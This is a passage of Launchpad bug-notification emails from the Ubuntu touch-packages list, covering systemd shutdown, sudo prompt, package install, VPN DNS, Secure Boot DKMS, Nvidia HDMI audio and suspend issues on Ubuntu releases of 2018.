SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.18.0-10-generic root=UUID=2c9d5f71-ce27-4b3c-8018-0404d4ab5fb9 ro quiet splash vt.handoff=1 SourcePackage: xorg UpgradeStatus: Upgraded to cosmic on 2018-10-26 (0 days ago) dmi.bios.date: 07/07/2011 dmi.bios.vendor: INSYDE dmi.bios.version: 1.70 dmi.board.asset.tag: Base Board Asset Tag dmi.board.name: Portable PC dmi.board.vendor: TOSHIBA dmi.board.version: Base Board Version dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: Chassis Manufacturer dmi.chassis.version: Chassis Version dmi.modalias:
[Touch-packages] [Bug 1670291] Re: Landscape: Upgrade 14.04.5 to 16.04.2 fails unable to reboot
I'm going to upgrade a system from 14.04.5 to 16.04.x tomorrow at 10:00AM CEST so I'll let you know the results. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1670291 Title: Landscape: Upgrade 14.04.5 to 16.04.2 fails unable to reboot Status in landscape-client package in Ubuntu: Fix Committed Status in systemd package in Ubuntu: Fix Released Status in landscape-client source package in Xenial: Confirmed Status in systemd source package in Xenial: Fix Released Status in landscape-client source package in Bionic: New Status in systemd source package in Bionic: In Progress Status in landscape-client source package in Cosmic: Fix Committed Status in systemd source package in Cosmic: Fix Released Bug description: https://github.com/systemd/systemd/pull/10061 [Impact] * When logind is not available, shutdown command fails to schedule a shutdown, and despite its intentions to immediately shutdown, does not do so. [Test Case] sudo systemctl mask systemd-logind.service sudo systemctl stop systemd-logind.service shutdown +1 The expectation is that system goes to shutdown. It is buggy if the system remains up - i.e. command returns to shell with exit code 1. [Regression Potential] * It is a corner case to run against systemd-shim logind / or logind not otherwise available. The function still performs a clean-shutdown, and should not cause loss of work. [Other Info] * Original bug report, running against systemd-shim/systemd-service post trusty->xenial upgrade, pre-reboot. Used Landscape (Paid Canonical Subscription) to upgrade one of my machines. Landscape only shows "In Progress" for more than 8 hours now and asked for a reboot of the machine in a second alert. In the reboot attempt I get the message: = Failed to set wall message, ignoring: Method "SetWallMessage" with signature "sb" on interface "org.freedesktop.login1.Manager" doesn't exist Failed to call ScheduleShutdown in logind, proceeding with immediate shutdown: Method "ScheduleShutdown" with signature "st" on interface "org.freedesktop.login1.Manager" doesn't exist = Steps to reproduce: * Fully updated 14.04.5 machine * Open Landscape * Choose the machine * Choose Packages * This computer can be upgraded to a newer release * Apply * Wait 2 hours * Alert comes in a seperate Landscape message Machine is ready for reboot * Choose Info... Power * Deliver to selected computers as soon as possible * Error message I found this thread on reddit about this issue maybe the solution can be built into the upgrade script https://www.reddit.com/r/linuxquestions/comments/4wy3go/trying_to_run_as_user_instance_but_the_system_has/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/landscape-client/+bug/1670291/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799857] Re: sudo -p '' displays a password prompt which it shouldn't
This was fixed in sudo 1.8.22 by the following commit: https://www.sudo.ws/repos/sudo/rev/93cc4f4761f3 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to sudo in Ubuntu. https://bugs.launchpad.net/bugs/1799857 Title: sudo -p '' displays a password prompt which it shouldn't Status in sudo package in Ubuntu: Won't Fix Bug description: I have small script that invokes another shell script as root thus: #!/bin/bash echo "mypass" | sudo -p '' -S /usr/StorMan/StorMan.sh when running in 16.04 LTS this didn't display a password prompt which I understand to be correct behaviour. Since upgrading to 18.04.1 LTS the output looks like: amonra@Charon:~$ ./storman [sudo] password for amonra: which as far as I can determine is not correct. Thanks Dave ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: sudo 1.8.21p2-3ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 Uname: Linux 4.15.0-38-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 CurrentDesktop: LXDE Date: Thu Oct 25 03:07:27 2018 InstallationDate: Installed on 2016-03-28 (940 days ago) InstallationMedia: Ubuntu-Server 14.04.4 LTS "Trusty Tahr" - Release amd64 (20160217.1) SourcePackage: sudo UpgradeStatus: Upgraded to bionic on 2018-10-22 (2 days ago) VisudoCheck: /etc/sudoers: parsed OK /etc/sudoers.d/README: parsed OK modified.conffile..etc.sudoers: [inaccessible: [Errno 13] Permission denied: '/etc/sudoers'] modified.conffile..etc.sudoers.d.README: [inaccessible: [Errno 13] Permission denied: '/etc/sudoers.d/README'] To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sudo/+bug/1799857/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799857] Re: sudo -p '' displays a password prompt which it shouldn't
This was fixed in sudo 1.8.22 by the following commit: https://www.sudo.ws/repos/sudo/rev/93cc4f4761f3 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to sudo in Ubuntu. https://bugs.launchpad.net/bugs/1799857 Title: sudo -p '' displays a password prompt which it shouldn't Status in sudo package in Ubuntu: Won't Fix Bug description: I have small script that invokes another shell script as root thus: #!/bin/bash echo "mypass" | sudo -p '' -S /usr/StorMan/StorMan.sh when running in 16.04 LTS this didn't display a password prompt which I understand to be correct behaviour. Since upgrading to 18.04.1 LTS the output looks like: amonra@Charon:~$ ./storman [sudo] password for amonra: which as far as I can determine is not correct. Thanks Dave ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: sudo 1.8.21p2-3ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-38.41-generic 4.15.18 Uname: Linux 4.15.0-38-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 CurrentDesktop: LXDE Date: Thu Oct 25 03:07:27 2018 InstallationDate: Installed on 2016-03-28 (940 days ago) InstallationMedia: Ubuntu-Server 14.04.4 LTS "Trusty Tahr" - Release amd64 (20160217.1) SourcePackage: sudo UpgradeStatus: Upgraded to bionic on 2018-10-22 (2 days ago) VisudoCheck: /etc/sudoers: parsed OK /etc/sudoers.d/README: parsed OK modified.conffile..etc.sudoers: [inaccessible: [Errno 13] Permission denied: '/etc/sudoers'] modified.conffile..etc.sudoers.d.README: [inaccessible: [Errno 13] Permission denied: '/etc/sudoers.d/README'] To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/sudo/+bug/1799857/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800192] [NEW] package libperl5.22 5.22.1-9ubuntu0.5 [origin: Ubuntu] failed to install/upgrade: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debi
Public bug reported: ! ProblemType: Package DistroRelease: elementary 0.4.1 Package: libperl5.22 5.22.1-9ubuntu0.5 [origin: Ubuntu] ProcVersionSignature: Ubuntu 4.15.0-38.41~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-38-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 Date: Mon Oct 22 20:35:20 2018 ErrorMessage: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 InstallationDate: Installed on 2017-12-30 (300 days ago) InstallationMedia: elementary OS 0.4.1 "Loki" - Stable amd64 (20170814) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.27 SourcePackage: perl Title: package libperl5.22 5.22.1-9ubuntu0.5 [origin: Ubuntu] failed to install/upgrade: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: perl (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package loki third-party-packages -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to perl in Ubuntu. https://bugs.launchpad.net/bugs/1800192 Title: package libperl5.22 5.22.1-9ubuntu0.5 [origin: Ubuntu] failed to install/upgrade: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 Status in perl package in Ubuntu: New Bug description: ! ProblemType: Package DistroRelease: elementary 0.4.1 Package: libperl5.22 5.22.1-9ubuntu0.5 [origin: Ubuntu] ProcVersionSignature: Ubuntu 4.15.0-38.41~16.04.1-generic 4.15.18 Uname: Linux 4.15.0-38-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 Date: Mon Oct 22 20:35:20 2018 ErrorMessage: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 InstallationDate: Installed on 2017-12-30 (300 days ago) InstallationMedia: elementary OS 0.4.1 "Loki" - Stable amd64 (20170814) RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.27 SourcePackage: perl Title: package libperl5.22 5.22.1-9ubuntu0.5 [origin: Ubuntu] failed to install/upgrade: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/perl/+bug/1800192/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1778946] Re: No dns resolution after closing a vpn/pptp connection
This upstream bug suggests that the problem can be resolved by installing resolvconf: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=378363 I will test this, but I'm having problems with VPNs on this network atm. ** Bug watch added: Debian Bug tracker #378363 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=378363 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to resolvconf in Ubuntu. https://bugs.launchpad.net/bugs/1778946 Title: No dns resolution after closing a vpn/pptp connection Status in network-manager package in Ubuntu: Confirmed Status in ppp package in Ubuntu: New Status in resolvconf package in Ubuntu: New Bug description: step to reproduce set a VPN connection configured to connect a Microsoft vpn server (pptp) internet acces is ok enable the vpn connection using the applet on the top right corner of the desktop internet still ok ping works disable the vpn connection ping doesn't works with a host but works if i specify an ip address ping: xx.net: Nom ou service inconnu As a workaround, i disable the ethernet link and re-enable it name resolution is now ok ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: network-manager 1.10.6-2ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Wed Jun 27 18:09:30 2018 IfupdownConfig: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback InstallationDate: Installed on 2014-06-03 (1484 days ago) InstallationMedia: Ubuntu 14.04 LTS "Trusty Tahr" - Release amd64 (20140417) IpRoute: default via 192.168.0.254 dev eth0 proto dhcp metric 20100 169.254.0.0/16 dev eth0 scope link metric 1000 192.168.0.0/24 dev eth0 proto kernel scope link src 192.168.0.47 metric 100 IwConfig: lono wireless extensions. eth0 no wireless extensions. NetworkManager.state: [main] NetworkingEnabled=true WirelessEnabled=true WWANEnabled=true RfKill: SourcePackage: network-manager UpgradeStatus: Upgraded to bionic on 2018-05-10 (48 days ago) nmcli-dev: DEVICE TYPE STATE DBUS-PATH CONNECTION CON-UUID CON-PATH eth0ethernet connected /org/freedesktop/NetworkManager/Devices/2 Connexion filaire 1 94806bba-1c68-46b6-87f4-a3aff6dd /org/freedesktop/NetworkManager/ActiveConnection/6 lo loopback unmanaged /org/freedesktop/NetworkManager/Devices/1 -- ---- nmcli-nm: RUNNING VERSION STATE STARTUP CONNECTIVITY NETWORKING WIFI-HW WIFI WWAN-HW WWAN running 1.10.6 connected (site only) started limited enabled enabled enabled enabled enabled To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1778946/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1726803] Re: unattended-upgrades + nvidia stack upgrade == dkms fail (package shim-signed 1.32~16.04.1+0.9+1474479173.6c180c6-1ubuntu1 failed to install/upgrade: subprocess insta
** Description changed: [Impact] * When Secure Boot is enabled and MOK is not set and a new dkms module is installed sim-signed asks for a Secure Boot MOK, or aborts package installation in non-interactive mode. When unattended-upgrades performed the upgrade the aborted installation leaves an unconfigured system behind that may even fail to boot. In nvdidia's special case the new module is actually just a new version of the nvidia module which should be fine to install. * The fix in shim-signed now handles nvidia dkms module directory renames as simple upgrades and also does not handle module removals as a reason to abort installation. [Test Case (shim-signed)] - WIP + 1. Set up Bionic system with Secure Boot enabled. + + 2. Install packagages to trigger MOK enrollment and enroll the key: + + apt install dkms shim-signed r8168-dkms + + 3. Create a new key to be enrolled again: + + rm /var/lib/shim-signed/mok/MOK.der + update-secureboot-policy --new-key + + 4. Simulate module removal and test that the command returns 0: + + # echo /var/lib/dkms/zzz >> /var/lib/shim-signed/dkms-list + # env DEBIAN_FRONTEND=noninteractive update-secureboot-policy --enroll-key; echo $? + Running in non-interactive mode, doing nothing. + 0 + + 5. Simulate nvidia module rname and test that the command returns 0: + + # cat > /var/lib/shim-signed/dkms-list < /var/lib/shim-signed/dkms-list < /etc/apt/apt.conf.d/51unattended-upgrades-all 5. Observe u-u keeping back the new package: unattended-upgrade --verbose --dry-run --debug ... Checking: r8168-dkms ([]) pkg new-dkms-dep may trigger secure boot key prompt sanity check failed ... - [Regression Potential (shim-signed)] * The fix lets installation of nvidia dkms module upgrades continue and also lets dkms module removals continue when MOK is not set and those should not cause regressions themselves. In case of an implementation mistake a new module installation could go undetected and could cause the system not load a dkms module on next boot. In practice not loading new modules rarely cause regressions, but if a module is converted from being in the kernel to a dkms module upon an upgrade this is possible. - * I tested the module addition, removal, nvidia module upgrade and not module change cases with stubs pretending that the system is secure-boot capable an found the changed script working properly. + * I tested the module addition, removal, nvidia module upgrade and not module change cases with stubs pretending that the system is secure-boot capable an found the changed script working properly. [Regression Potential (unattended-upgrades)] * Since the fix is holding back packages from installation it is expected that systems that would have otherwise broke during the installation would not receive all updates. Since exact detection of the installation failure reported here does not seem possible u-u holds back more packages than it would be absolutely necessary. * Administrators are expected to set up email notifications about the updates performed by u-u and act on held back packages. * Since updates pulling in new packages are fairly rare especially in the -security pocket which u-u installs from by default unwanted regressions are unlikely to show up. [Original Bug Text] Occurred a minute after logging in ProblemType: Package DistroRelease: Ubuntu 16.04 Package: shim-signed 1.32~16.04.1+0.9+1474479173.6c180c6-1ubuntu1 ProcVersionSignature: Ubuntu 4.10.0-37.41~16.04.1-generic 4.10.17 Uname: Linux 4.10.0-37-generic x86_64 .proc.sys.kernel.moksbstate_disabled: 0 ApportVersion: 2.20.1-0ubuntu2.10 Architecture: amd64 Date: Tue Oct 24 11:35:53 2017 EFITables: Oct 24 11:33:04 paddy-laptop kernel: efi: EFI v2.40 by American Megatrends Oct 24 11:33:04 paddy-laptop kernel: efi: ACPI=0x7866 ACPI 2.0=0x7866 SMBIOS=0xf SMBIOS 3.0=0xf0020 ESRT=0x79360598 Oct 24 11:33:04 paddy-laptop kernel: esrt: Reserving ESRT space from 0x79360598 to 0x793605d0. Oct 24 11:33:04 paddy-laptop kernel: Secure boot enabled ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2017-09-11 (42 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) RelatedPackageVersions: dpkg 1.18.4ubuntu1.2 apt 1.2.24 SecureBoot: 6 0 0 0 1 SourcePackage: shim-signed Title: package shim-signed 1.32~16.04.1+0.9+1474479173.6c180c6-1ubuntu1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: No upgrade log present (probably fresh install) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu.
Re: [Touch-packages] [Bug 1800118] Re: [OMEN X by HP Laptop 17-ap0xx, Nvidia GPU 83 HDMI/DP, Digital Out, HDMI] Playback problem
And to help you Fix these ISSUES for not me but ALL Ubuntu enthusiasts, especially for newbies, as these workarounds are really only for those like me who try very hard to solve problems! Ubuntu will never get to mainstream unless it is (IDIOT Proof) So here is my workaround which INDEED, suggests a bigger problem (I believe) Hibernate/Suspend - - - - However, if I manually disable the audio output output "sudo tee /proc/acpi/nvhda <<< OFF" I'm then able to get it to sleep. I then have to turn it on again on resume with "sudo tee /proc/acpi/nvhda <<< ON - - - - - - - $ sudo tee /proc/acpi/nvhda <<< OFF (*before* Hibernation/Suspend or Sleep) - - - - - - - $ sudo tee /proc/acpi/nvhda <<< ON (*After* Resume) On Fri, 26 Oct 2018 at 03:12, Mark Ackerman wrote: > Sure > Nvidia NVHDA Sound works only with a PATCH! > NVHDA does not persist after Suspend or Hibernating (my System Fully > Supports BOTH) > > I have workarounds > > and WOW Good News My Myriad of acpi 3400 errors are gone ! > but this all seems ACPI related to HDMI and NVHDA > > logs show a LOT LESS errors than ever (6 weeks with this new Computer) so > things are getting better fast awesome > Here are some new bugs > 16 times > ACPI Error: Method parse/execution failed \_SB.WMID.WMAA, > AE_AML_BUFFER_LIMIT (20180531/psparse-516) > 162 !!! Times > ACPI Error: Skip parsing opcode Method (20180531/psloop-542) > > > > On Fri, 26 Oct 2018 at 03:00, Daniel van Vugt < > daniel.van.v...@canonical.com> wrote: > >> Can you please describe the problem in a sentence or two? >> >> ** Package changed: alsa-driver (Ubuntu) => linux (Ubuntu) >> >> ** Also affects: pulseaudio (Ubuntu) >>Importance: Undecided >>Status: New >> >> ** Changed in: linux (Ubuntu) >>Status: New => Incomplete >> >> ** Changed in: pulseaudio (Ubuntu) >>Status: New => Incomplete >> >> -- >> You received this bug notification because you are subscribed to the bug >> report. >> https://bugs.launchpad.net/bugs/1800118 >> >> Title: >> [OMEN X by HP Laptop 17-ap0xx, Nvidia GPU 83 HDMI/DP, Digital Out, >> HDMI] Playback problem >> >> Status in linux package in Ubuntu: >> Incomplete >> Status in pulseaudio package in Ubuntu: >> Incomplete >> >> Bug description: >> Below is a Cut and paste of a recent Ubuntu Forum Page where I posted >> the issues >> https://ubuntuforums.org/showthread.php?t=2404566 >> Note that though it says "Solved" it is just workarounds of Bigger ACPI >> Issues! >> >> ubuntu 18.10 >> >> OK, >> >> This is a new thread, and I will make it HUGE! >> Edit Solution/ Work Around for the "2/" Problem >> see Post # 4, Thanks PeterSaints >> >> Ubuntu, Please Listen! >> >> Nvidia, HDA WOES in the Title ... HDA stands for High Definition Audio, >> or HDMI Audio, or Surround Sound 5.1-7.1 etc. ... >> NVHDA stands for Nvidia HDA. Just for anyone who does not know the >> Jargon! >> >> What does Work ... (and I will post ALL my Notes and Links for others >> below!) >> 1/ Everything AFTER STUPIDLY!, I need to install a Kernel PATCH! and >> 2/ A STUPIDLY Necessary Restart after ANY Hibernation or Suspend! >> >> First my System, and most importantly is it is a NEW Cutting Edge Hp >> Omen X Laptop with a Nvidia GTX 1080m GPU, and the latest Linux 3.18 Kernel! >> -Computer- >> Processor : Intel(R) Core(TM) i7-7820HK CPU @ 2.90GHz >> Memory: 16245MB (3330MB used) >> Machine Type : Notebook >> Operating System : Ubuntu 18.10 >> -Display- >> Resolution: 1920x1080 pixels >> OpenGL Renderer : GeForce GTX 1080/PCIe/SSE2 >> X11 Vendor: The X.Org Foundation >> >> -Audio Devices- >> Audio Adapter : HDA-Intel - HDA Intel PCH >> Audio Adapter : HDA-Intel - HDA NVidia >> -Input Devices- >> >> Video Bus >> ST LIS3LV02DL Accelerometer >> HDA Intel PCH Mic >> HDA Intel PCH Mic >> HDA Intel PCH Headphone >> HP WMI hotkeys >> HDA NVidia HDMI/DP,pcm:3 >> HDA NVidia HDMI/DP,pcm:7 >> HDA NVidia HDMI/DP,pcm:8 >> So the LATEST 2 Problems I am looking for a SOLUTION that would indeed >> help THOUSANDS and/or MILLIONS of people Now and/or in the near future! >> 1/ Why SHOULD I need to apply a PATCH to a YEAR old KNOWN problem! >> and MORE IMPORTANTLY! >> >> 2/ Why is the fixed Patch System NOT working after a Suspend or >> Hibernation >> (Yes I am reiterating my issue once again!) >> After EITHER a Suspend or Hibernation, the HDA Sound is EITHER, >> 1/ Not VISIBLE AGAIN! ANYWHERE! Trust me, or >> 2/ Visible but in a Dysfunctional State, ... Showing 3 version of the >> NVHDA 0,1&2 ... >>
[Touch-packages] [Bug 1799007] Re: [System76 Oryx Pro] no sound after 18.10 upgrade
for me the problem is solved with : sudo apt remove pulseaudio reboot -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1799007 Title: [System76 Oryx Pro] no sound after 18.10 upgrade Status in pulseaudio package in Ubuntu: Incomplete Bug description: After upgrading to 18.10, the sound in my System76 Oryx Pro no longer works, it no longer shows any of the audio output devices, not even the builtin HDMI which usually always shows. Not sure what happened, but this is a major regression and needs to be fixed. Note that this isn't the same as the bug with Timidity taking exclusive soundcard access (https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1797714) as I don't have any timidity packages installed. --- ProblemType: Bug ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC1: tessa 11703 F pulseaudio /dev/snd/controlC0: tessa 11703 F pulseaudio /dev/snd/pcmC0D0c: tessa 11703 F...m pulseaudio /dev/snd/pcmC0D0p: tessa 11703 F...m pulseaudio CurrentDesktop: pop:GNOME DistroRelease: Pop!_OS 18.10 InstallationDate: Installed on 2018-03-05 (230 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105.1) NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair nvidia_modeset nvidia Package: pulseaudio 1:12.2-0ubuntu4 [origin: Ubuntu] PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: Daemon not responding. Tags: third-party-packages cosmic Uname: Linux 4.18.0-10-generic x86_64 UnreportableReason: This is not an official Pop!_OS package. Please remove any third party package and try again. UpgradeStatus: Upgraded to cosmic on 2018-10-18 (3 days ago) UserGroups: adm audio cdrom chrome-remote-desktop dip docker libvirt lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 02/20/2017 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1.05.02dRSA2 dmi.board.asset.tag: Tag 12345 dmi.board.name: Oryx Pro dmi.board.vendor: System76 dmi.board.version: oryp3-ess dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: System76 dmi.chassis.version: N/A dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1.05.02dRSA2:bd02/20/2017:svnSystem76:pnOryxPro:pvroryp3-ess:rvnSystem76:rnOryxPro:rvroryp3-ess:cvnSystem76:ct10:cvrN/A: dmi.product.family: Not Applicable dmi.product.name: Oryx Pro dmi.product.sku: Not Applicable dmi.product.version: oryp3-ess dmi.sys.vendor: System76 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1799007/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1799038] Re: Ubuntu 18.10 does not suspend on lid close
** Changed in: systemd (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1799038 Title: Ubuntu 18.10 does not suspend on lid close Status in systemd package in Ubuntu: Incomplete Bug description: After an upgrade to Ubuntu 18.10 suspend to RAM due to closing the lid on notebooks does not work any more. The machine goes to suspend mode but wakes up immediately due to some events (can be network, or others). In 18.04 this issue was fixed (we had the same situation with any version since 14.04). Seems a regression. Mitigation reports suggesting to change /etc/systemd/logind.conf are WRONG. The changes do NOTHING. One might spare the time to experiment. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: systemd 239-7ubuntu10 ProcVersionSignature: Ubuntu 4.18.0-10.11-generic 4.18.12 Uname: Linux 4.18.0-10-generic x86_64 ApportVersion: 2.20.10-0ubuntu13 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sun Oct 21 11:55:48 2018 InstallationDate: Installed on 2018-04-30 (174 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 05ac:0273 Apple, Inc. Bus 001 Device 002: ID 05ac:8290 Apple, Inc. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: Apple Inc. MacBookPro12,1 ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-4.18.0-10-generic root=/dev/mapper/ubuntu--vg-root ro quiet splash vt.handoff=1 SourcePackage: systemd UpgradeStatus: Upgraded to cosmic on 2018-10-20 (0 days ago) dmi.bios.date: 08/08/2017 dmi.bios.vendor: Apple Inc. dmi.bios.version: MBP121.88Z.0171.B00.1708080033 dmi.board.name: Mac-E43C1C25D4880AD6 dmi.board.vendor: Apple Inc. dmi.board.version: MacBookPro12,1 dmi.chassis.type: 9 dmi.chassis.vendor: Apple Inc. dmi.chassis.version: Mac-E43C1C25D4880AD6 dmi.modalias: dmi:bvnAppleInc.:bvrMBP121.88Z.0171.B00.1708080033:bd08/08/2017:svnAppleInc.:pnMacBookPro12,1:pvr1.0:rvnAppleInc.:rnMac-E43C1C25D4880AD6:rvrMacBookPro12,1:cvnAppleInc.:ct9:cvrMac-E43C1C25D4880AD6: dmi.product.family: MacBook Pro dmi.product.name: MacBookPro12,1 dmi.product.version: 1.0 dmi.sys.vendor: Apple Inc. mtime.conffile..etc.systemd.logind.conf: 2018-10-20T22:01:57.469491 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1799038/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800184] Re: package gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempti
** Tags removed: need-duplicate-check -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gst-plugins-good1.0 in Ubuntu. https://bugs.launchpad.net/bugs/1800184 Title: package gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration Status in gst-plugins-good1.0 package in Ubuntu: New Bug description: please look into it ProblemType: Package DistroRelease: Ubuntu 16.04 Package: gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 ProcVersionSignature: Ubuntu 4.4.0-94.117-generic 4.4.83 Uname: Linux 4.4.0-94-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 AptOrdering: cheese: Install gstreamer1.0-pulseaudio: Configure cheese: Configure NULL: ConfigurePending Architecture: amd64 Date: Fri Oct 26 22:04:25 2018 DistributionChannelDescriptor: # This is a distribution channel descriptor # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-xenial-amd64-20160624-2 DuplicateSignature: package:gstreamer1.0-pulseaudio:amd64:1.8.0-1ubuntu1 Processing triggers for man-db (2.7.5-1) ... dpkg: error processing package gstreamer1.0-pulseaudio:amd64 (--configure): package is in a very bad inconsistent state; you should ErrorMessage: package is in a very bad inconsistent state; you should reinstall it before attempting configuration InstallationDate: Installed on 2018-08-07 (80 days ago) InstallationMedia: Ubuntu 16.04 "Xenial" - Build amd64 LIVE Binary 20160624-10:47 RelatedPackageVersions: dpkg 1.18.4ubuntu1.4 apt 1.2.29 SourcePackage: gst-plugins-good1.0 Title: package gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attempting configuration UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gst-plugins-good1.0/+bug/1800184/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1800184] [NEW] package gstreamer1.0-pulseaudio:amd64 1.8.0-1ubuntu1 failed to install/upgrade: package is in a very bad inconsistent state; you should reinstall it before attemp
